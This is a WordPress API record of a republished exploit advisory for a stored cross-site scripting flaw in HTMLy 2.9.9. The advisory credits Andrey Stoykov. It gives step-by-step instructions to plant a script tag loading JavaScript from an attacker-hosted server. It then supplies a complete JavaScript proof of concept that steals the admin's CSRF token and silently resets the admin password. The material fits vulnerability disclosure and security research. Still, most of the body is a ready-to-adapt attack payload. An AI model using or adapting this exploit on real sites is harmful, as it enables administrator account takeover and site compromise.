{"id":59749,"date":"2024-09-17T19:21:02","date_gmt":"2024-09-17T16:21:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181589\/htmly299-xss.txt"},"modified":"2024-09-17T19:21:02","modified_gmt":"2024-09-17T16:21:02","slug":"htmly-2-9-9-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/htmly-2-9-9-cross-site-scripting\/","title":{"rendered":"HTMLy 2.9.9 Cross Site Scripting"},"content":{"rendered":"<p># Exploit Title: Stored XSS to Account Takeover &#8211; htmlyv2.9.9<br \/># Date: 9\/2024<br \/># Exploit Author: Andrey Stoykov<br \/># Version: 2.9.9<br \/># Tested on: Ubuntu 22.04<br \/># Blog:<br \/>https:\/\/msecureltd.blogspot.com\/2024\/08\/friday-fun-pentest-series-9-stored-xss.html<\/p>\n<p>Description:<\/p>\n<p>&#8211; It was found that the application suffers from stored XSS<\/p>\n<p>&#8211; Low level user having an &#8220;author&#8221; role can takeover admin account and<br \/>change their password via posting a malicious post with a reference to a<br \/>payload hosted on attacker domain<\/p>\n<p>Stored XSS to Account Takeover #1:<\/p>\n<p>Steps to Reproduce:<\/p>\n<p>1. Visit &#8220;My Posts&#8221; &gt; &#8220;Add New Post&#8221; &gt; &#8220;Regular Post&#8221;<br \/>2. Enter the following payload into the &#8220;Content&#8221; referencing externally<br \/>hosted POC in Javascript:<br \/>&lt;script src=&#8221;http:\/\/192.168.159.191:8000\/xss.js&#8221;&gt;&lt;\/script&gt;<br \/>3. Upon visiting the blog post, the admin account password would be changed<br \/>to &#8220;test&#8221;<br \/>4. In the XSS payload pasted below need to adjust the &#8220;passwordChangeUrl&#8221;,<br \/>&#8220;username&#8221; and &#8220;password&#8221;<\/p>\n<p>\/\/ Javascript POC<\/p>\n<p>\/\/ Function to fetch CSRF token and perform password change<br \/>(function() {<br \/>\/\/ URL of the password change page<br \/>const passwordChangePageUrl = &#8216;<br \/>http:\/\/192.168.159.191\/htmly\/edit\/password&#8217;;<\/p>\n<p>\/\/ Function to fetch the CSRF token<br \/>function fetchCsrfToken() {<br \/>fetch(passwordChangePageUrl, {<br \/>method: &#8216;GET&#8217;,<br \/>credentials: &#8216;include&#8217; \/\/ Include cookies for the current<br \/>session<br \/>})<br \/>.then(response =&gt; response.text())<br \/>.then(html =&gt; {<br \/>\/\/ Parse the HTML to find the CSRF token<br \/>const parser = new DOMParser();<br \/>const doc = parser.parseFromString(html, &#8216;text\/html&#8217;);<br \/>const csrfTokenInput =<br \/>doc.querySelector(&#8216;input[name=&#8221;csrf_token&#8221;]&#8217;);<br \/>if (csrfTokenInput) {<br \/>const csrfToken = csrfTokenInput.value;<br \/>console.log(&#8216;CSRF Token:&#8217;, csrfToken);<br \/>changePassword(csrfToken);<br \/>} else {<br \/>console.error(&#8216;CSRF token not found&#8217;);<br \/>}<br \/>})<br \/>.catch(error =&gt; console.error(&#8216;Error fetching CSRF token:&#8217;,<br \/>error));<br \/>}<\/p>\n<p>\/\/ Function to change the password<br \/>function changePassword(csrfToken) {<br \/>const postData = new URLSearchParams();<br \/>postData.append(&#8216;csrf_token&#8217;, csrfToken);<br \/>postData.append(&#8216;username&#8217;, &#8216;admin&#8217;);<br \/>postData.append(&#8216;password&#8217;, &#8216;test&#8217;);<\/p>\n<p>fetch(passwordChangePageUrl, {<br \/>method: &#8216;POST&#8217;,<br \/>body: postData,<br \/>headers: {<br \/>&#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;<br \/>},<br \/>credentials: &#8216;include&#8217; \/\/ Include cookies for the current<br \/>session<br \/>})<br \/>.then(response =&gt; response.text())<br \/>.then(data =&gt; {<br \/>console.log(&#8216;Password change response:&#8217;, data);<br \/>})<br \/>.catch(error =&gt; console.error(&#8216;Error changing password:&#8217;,<br \/>error));<br \/>}<\/p>\n<p>\/\/ Trigger the CSRF token fetch and password change<br \/>fetchCsrfToken();<br \/>})();<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Stored XSS to Account Takeover &#8211; htmlyv2.9.9# Date: 9\/2024# Exploit Author: Andrey Stoykov# Version: 2.9.9# Tested on: Ubuntu 22.04# Blog:https:\/\/msecureltd.blogspot.com\/2024\/08\/friday-fun-pentest-series-9-stored-xss.html Description: &#8211; It was found that the application suffers from stored XSS &#8211; Low level user having an &#8220;author&#8221; role can takeover admin account andchange their password via posting a malicious post &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59749","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59749","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59749"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59749\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59749"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59749"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59749"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}